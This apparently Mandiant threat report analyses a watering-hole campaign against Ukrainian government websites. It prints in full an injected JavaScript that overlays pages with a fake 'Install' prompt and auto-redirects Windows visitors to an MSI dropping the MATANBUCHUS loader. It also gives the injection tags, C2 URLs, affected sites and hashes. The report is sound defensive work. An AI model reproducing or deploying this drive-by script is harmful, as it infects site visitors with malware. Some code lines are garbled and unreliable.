

## First Look: Ukrainian Government Websites Compromised with Watering Hole Attack

### Executive Summary

- Mandiant Research Team discovered JavaScript injection of at least 10 Ukrainian government websites.
- Although we were unable to download the live script, we have found an older version that checks the browser version and contains variables for Windows, Linux, and MacOS; however, only the Windows link is available.
- Mandiant has not attributed this activity, and research continues to determine its scope.

### Analysis

#### Suspicious Java-Script Found on Government Websites of Ukraine

Mandiant Research Team discovered a suspicious domain that mimics the name of the Ukrainian parliament.

Domain Registration Details	
<b>Domain:</b>	radagovua[.]net
<b>Registration date:</b>	11.10.2022
<b>Registrar:</b>	OwnRegistrar
<b>WHOIS:</b>	private
<b>NS-records:</b>	E-NS
<b>Domain A-record:</b>	192.155.111[.]215 (Eurohoster, Bulgaria)

A second domain has the same IP address and was registered in same manner:

Domain Registration Details	
<b>Domain:</b>	banpay[.]net
<b>Registration date:</b>	15.10.2022
<b>Registrar:</b>	OwnRegistrar
<b>WHOIS:</b>	private
<b>NS-records:</b>	E-NS
<b>Domain A-record:</b>	192.155.111[.]215 (Eurohoster, Bulgaria)

Further research determined a script hosted on the suspicious domain radagovua[.]net that was injected in several Ukrainian government websites, including the website mtsbu[.]ua. MTSBU (Motor Insurance Bureau of Ukraine) is the only association of insurers that carry mandatory insurance of civil liability of owners of vehicles for damage caused to third parties.

```
<script type="text/javascript" src="hxxps://radagovua[.]net/js/mtsbu.3.js"></script>
```




Figure 1. Screen capture of mtsbu[.]ua/ua/

## Script Behavior

Mandiant researchers were unable to download this script from the live website, possibly because it was not available or due to filtering by IP/User-Agent. However, a web archive contained the script.

```
1 var ____WB$wombat$assign$function____ = function(name) {return (self._wb_wombat && self._wb_wombat.local_init
&& self._wb_wombat.local_init(name)) || self[name]; };
2 if (!self.__WB_pmw) { self.__WB_pmw = function(obj) { this.__WB_source = obj; return this; } }
3 {
4 let window = ____WB$wombat$assign$function____("window");
5 let self = ____WB$wombat$assign$function____("self");
6 let document = ____WB$wombat$assign$function____("document");
7 let location = ____WB$wombat$assign$function____("location");
8 let top = ____WB$wombat$assign$function____("top");
9 let parent = ____WB$wombat$assign$function____("parent");
10 let frames = ____WB$wombat$assign$function____("frames");
11 let opener = ____WB$wombat$assign$function____("opener");
12
13
14
15
```

```
16 }
```

The web archive also contained the oldest version of the script:

```
1 var ___WB$wombat$assign$function___ = function(name) {return (self.__wb_wombat && self.__wb_wombat.local_init
&& self.__wb_wombat.local_init(name)) || self[name]; };
2 if (!self.__WB_pmw) { self.__WB_pmw = function(obj) { this.__WB_source = obj; return this; } }
3 {
4 let window = ___WB$wombat$assign$function___("window");
5 let self = ___WB$wombat$assign$function___("self");
6 let document = ___WB$wombat$assign$function___("document");
7 let location = ___WB$wombat$assign$function___("location");
8 let top = ___WB$wombat$assign$function___("top");
9 let parent = ___WB$wombat$assign$function___("parent");
10 let frames = ___WB$wombat$assign$function___("frames");
11 let opener = ___WB$wombat$assign$function___("opener");
12
13 if(navigator.userAgent.indexOf("Firekek")==-1)
14 {
15
16     function realRender()
17     {
18         var msg = 'Missed render applet';
19         var buttonText = 'Install';
20         var onLoad = false;
21
22         var __plugUrls = {
23             "smart":undefined,
24             "Windows":"https://web.archive.org/web/20221021183303/https://mtsbu.ua/files/NetCoreInstall.msi",
25             "Mac":undefined,
26             "Linux":undefined
27         };
28
29         var Q_SELECT = "";
30         var autoplay = true;
31         var autoplayTimeout = 1000;
32
33         //
34
35         ___getPlatformName = function()
36         {
37             var ret = null;
38             var platform = navigator.platform.toLowerCase();
39             if (!ret && platform.indexOf("win") != -1) ret = "Windows";
40             if (!ret && platform.indexOf("mac") != -1) ret = "Mac";
41             if (!ret && platform.indexOf("linux") != -1) ret = "Linux";
42             return ret;
43         }
44
45         var os = ___getPlatformName();
46
47         var isOpera = (!!window.opr && !!opr.addons) || !!window.opera || navigator.userAgent.indexOf(' OPR/') >= 0;
48         var isFirefox = typeof InstallTrigger !== 'undefined';
49         var isSafari = /constructor/i.test(window.HTMLInputElement) || (function (p) { return p.toString() === "[object
SafariRemoteNotification]"; })(!window['safari'] || (typeof safari !== 'undefined' && window['safari'].pushNotification));
50         var isIE = /*@cc_on!@*/false || !!document.documentMode;
51         var isEdge = !isIE && !!window.StyleMedia;
52         var isChrome = !!window.chrome && (!!window.chrome.webstore || !!window.chrome.runtime);
53         var isEdgeChromium = isChrome && (navigator.userAgent.indexOf("Edg") != -1);
```

```

54     var isBlink = (isChrome || isOpera) && !!window.CSS;
55
56     var body = document.getElementsByTagName('body')[0];
57
58
59     __plug_click = function()
60     {
61         var URL = __plugUrls[os];
62         if(!URL && __plugUrls["smart"])
63             URL = __plugUrls["smart"];
64
65         if(URL) window.parent.location.href = URL;
66         else return;
67     }
68
69     if (onLoad)
70         window.addEventListener('load', function() {_manage_bar();});
71     else
72         _manage_bar();
73
74
75     function _manage_bar()
76     {
77         //if (os!='Windows' && os!='Mac')
78         if (os!='Windows') return;
79
80         window.onscroll = function () { window.scrollTo(0, 0); };
81
82         var head = document.getElementsByTagName('head')[0];
83         var style = document.createElement('style');
84         style.type = 'text/css';
85         head.appendChild(style);
86         var css='.__pp_img_cross:hover{ background-color:#e6d201; }';
87         style.appendChild(document.createTextNode(css));
88
89         body.style.overflow = "hidden";
90         var ih = body.innerHTML;
91         body.innerHTML='<div style="background:repeating-linear-gradient(135deg,#373737,#373737 20px, #343434 20px, #343434 40px); flex-direction: column; text-align:center; align-items: center; justify-content: center; display:none; position:'+(window.getComputedStyle(body).getPropertyValue('position')=='relative'?'fixed':'absolute')+';overflow:hidden" id="__pp_plug" onclick="__plug_click()"> <div __atr2="2" style="color:white; font-family: sans-serif; font-size:13px; padding:0 5px;cursor:default;line-height:14px;-moz-user-select: none; -webkit-user-select: none; -ms-user-select:none; user-select:none;-o-user-select:none;font-weight:normal">'+msg+'<br><u>'+buttonText+'</u></div> </div>'+ih;
92
93         /*
94         window.addEventListener('resize', function(event){
95         var plg = document.querySelectorAll('[__pp_plug]');
96         if (plg!=null)
97         for (let i=0;i<plg.length;i++)
98             plg[i].remove();
99         __managePlugs();
100        });
101
102
103        var interval_id = window.setInterval("", 9999);
104        for (var i = 1; i < interval_id; i++)
105            window.clearInterval(i);
106
107        */
108

```

```

109         setTimeout(() => __managePlugs(), 100);
110
111         if (autoplay)
112             setTimeout(__plug_click, autoplayTimeout);
113     }
114
115     // new
116
117     function renderObj(itm)
118     {
119
120
121         var itmStyle = window.parent.getComputedStyle(itm);
122
123         var parent = itm;
124         var is_parent_invis = false;
125
126         while(true){
127             if (parent){
128
129                 var pstyle = null;
130                 if (parent==itm) pstyle = itmStyle;
131                 else pstyle = window.parent.getComputedStyle(parent);
132
133                 if (pstyle.display=='none' || pstyle.opacity=='0' || pstyle.visibility=='hidden') {
134                     is_parent_invis = true;
135                     break;
136                 }
137
138                 } else break;
139             parent = parent.parentElement;
140         }
141
142
143         if (is_parent_invis) return false;
144         if (itm.classList.contains('_pp_img-ico')) return false;
145
146         var rect = itm.getBoundingClientRect();
147
148         if (rect.right<0 || rect.left>screen.width)
149             return false;
150
151         let wd = rect.right-rect.left;
152         let ht = rect.bottom-rect.top;
153         if (wd<=30 || ht<=30)
154             return false;
155
156         var _plug = document.getElementById('_pp_plug');
157         var plug = _plug.cloneNode(true);
158         plug.removeAttribute('id');
159         plug.setAttribute('_pp__plug','1');
160
161         if (typeof(window.scrollX)=='function')
162         {
163             plug.style.left=(rect.left+window.scrollX()).toString()+ 'px';
164             plug.style.top=(rect.top+window.scrollY()).toString()+ 'px';
165         }else
166         {
167             plug.style.left=(rect.left+window.scrollX()).toString()+ 'px';
168             plug.style.top=(rect.top+window.scrollY()).toString()+ 'px';

```

```

169     }
170
171     plug.style.width=wd.toString()+ 'px';
172     plug.style.height=ht.toString()+ 'px';
173     plug.style.display='flex';
174     plug.style.zIndex="999999999999999999";
175
176     if (itm.tagName=="VIDEO" || itm.tagName=="CANVAS" || itm.tagName=="IFRAME" ||
itm.tagName=="OBJECT" || itm.tagName=="EMBED")
177     {
178         itm.style.width=wd.toString()+ 'px';
179         itm.style.height=ht.toString()+ 'px';
180         itm.src="";
181     }
182
183     _im = plug.querySelectorAll('[_pp_atr1]')[0];
184     _tx = plug.querySelectorAll('[_pp_atr2]')[0];
185     text = _tx.innerHTML;
186     textLen = text.length;
187     const k = 100/35;
188     if (wd<100)
189         _tx.style.display="none";
190     if (ht<100){
191         if (wd>=textLen*k*2.2)
192             plug.style.flexDirection="row";
193         else
194             _tx.style.display="none";
195         if (ht<30) _tx.style.display="none";
196     }
197     if (wd<50 || ht<50){
198         var dmm = (wd<50?wd:ht);
199         var prc = dmm/55;
200         if(_im)
201         {
202             _im.style.width=Math.round(prc*50).toString()+ 'px';
203             _im.style.height=Math.round(prc*50).toString()+ 'px';
204             _im.style.backgroundSize=(Math.round(prc*100)+70).toString()+ "%";
205         }
206     }
207     body.appendChild(plug);
208
209 }
210
211 function renderByld(id)
212 {
213     var obj = window.parent.document.getElementById(id);
214     if(obj) return renderObj(obj);
215     else return;
216 }
217
218 function __managePlugs()
219 {
220     var tags = ['img'];
221     //var qselect = 'frame'+Q_SELECT;
222     var qselect = "";
223     renderByld("header");
224     renderByld("main");
225     renderByld("footer");
226
227 }

```

```
228
229   }
230
231   if(paUser) realRender();
232
233 }
234
235
236
237 }
```

The script checks for a browser and contains variables for Windows, MacOS and Linux. Only the Windows link is available: `hxxps://mtsbu[.]ua/files/NetCoreInstall.msi`

Mandiant identified a sample with the same filename in a public malware repository.

File Details	
Filename:	NetCoreInstall.msi
MD5:	aa95408f9231fe86cbeb5dda85d8ac75
Size:	1760768 (Bytes)
File type:	MSI installer
Submitted:	Kyiv, Ukraine
Date:	2022-11-13

The file is signed with a revoked PRECIPIO MANAGEMENT CONSULTANTS INC. certificate.

NetCoreInstall[.]msi drops the MATANBUCHUS loader netcore[.]dll:

netcore.dll File Details	
Filename:	netcore.dll
MD5:	1b38f98f88e22892374513244b8ea205
Size:	603648 (Bytes)
File type:	DLL
Code Family:	MATANBUCHUS

MATANBUCHUS is a commercialized loader that is used to download and launch malware on victim machines such as QAKBOT and COBALT STRIKE beacons. The DLL makes a request to:

```
POST: hxxp://oldmans293[.]com/NoCQoU/YzoksS/Ale/index.php
GET: hxxps://oldmans293[.]com/archive/auth.aspx
```

Domain Registration Details	
Domain:	oldmans293[.]com
Registration date:	05.10.2022
Registrar:	OwnRegistrar
WHOIS:	private

<b>NS-records:</b>	E-NS
<b>Domain A-record:</b>	93.188.155[.]152 (Eurohoster, Bulgaria)

The GET request results in delivery of the same DLL file (MD5: 1b38f98f88e22892374513244b8ea205).

## Additional Ukrainian Government Sites Affected

Several Ukrainian government sites contained embedded links to a script with the same radagovua[.]net domain:

Ukrainian Government Sites
hxxps://rdatf[.]gov[.]ua
hxxps://vodolaga-kultura[.]gov[.]ua
hxxps://dvor-selrada.gov[.]ua
hxxps://shevrayrada.gov[.]ua
hxxps://vodolaga-osvita.gov[.]ua
hxxps://bgadmin.gov[.]ua

Each of the linked sites contain an authorization page using a product called “KODIS” developed by private Ukrainian company bingobest[.]biz. KODIS is a system for automating service of utility applications.




Figure 2. Screen capture of the authorization page for “KODIS”

The Ukrainian KODIS-related sites each contain the following link in their source code:

```
<script type='text/javascript' src='https://radagovua.net/js/_bingooffice.js'></script>
```

Mandiant was again unable to download this script, possibly because it was not available or due to



filtering by IP/User-Agent.

## Additional Observations

The radagovua[.]net domain contained a resource with an interesting URL string:

```
hxxps://radagovua[.]net/mo-rf-v-hodi-ataki-na-aerodromi.../
```

- **Analyst Comment:** URL translation from Ukrainian: “Ministry of Defense of the Russian Federation during the attack on airfields”

Malicious JS also found on the next websites:

### Ukrainian Government Sites

hxxps://slr-vo.gov[.]ua
hxxps://lubrada[.]softbi[.]info
hxxps://dvorichna-rda[.]gov[.]ua
hxxps://gp[.]pervom-rada[.]gov[.]ua
hxxps://dvorichna-vo.gov[.]ua
hxxps://osvita-novvodrda.gov[.]ua
hxxps://pervom[.]softbi[.]info

During the research, additional malicious samples that were using the same revoked PRECIPIO MANAGEMENT CONSULTANTS INC. certificate as NetCoreInstall.msi were found:

1. 4cc4622ce7bfdce93a730de2ea1e1d6a (twodisk.exe), C&C 148.72.172[.]59
2. 90db55c7a5e19bcfb91c2188e164e8d1 (du1.exe) – looks like the first sample
3. bbbc11c2a3c37f8f61f64ac2c934dcfe (twodisk.exe) – looks like the first sample
4. 7278e21fd5aa88b8d71be8290da051b7 (5f8474.msi) – MATANBUCHUS dropper

## Outlook

Mandiant has not attributed this activity and research continues to determine its scope. At this point, we track this activity as UNC4487.

## Indicators of Compromise

radagovua[.]net  
banpay[.]net  
oldmans293[.]com  
192.155.111[.]215  
93.188.155[.]152  
cae011d4b9dd80cf94302798fde83922  
aa95408f9231fe86cbeb5dda85d8ac75  
1b38f98f88e22892374513244b8ea205  
hxxp://oldmans293[.]com/NoCQoU/YzoksS/Ale/index.php

PROPRIETARY AND CONFIDENTIAL

info@mandiant.com

hxxps://oldmans293[.]com/archive/auth.aspx  
hxxps://radagovua[.]net/js/mtsbu.3.js  
hxxps://radagovua[.]net/js/\_bingooffice.js  
hxxps://radagovua[.]net/mo-rf-v-hodi-ataki-na-aerodromi.../  
hxxps://mtsbu[.]ua/files/NetCoreInstall.msi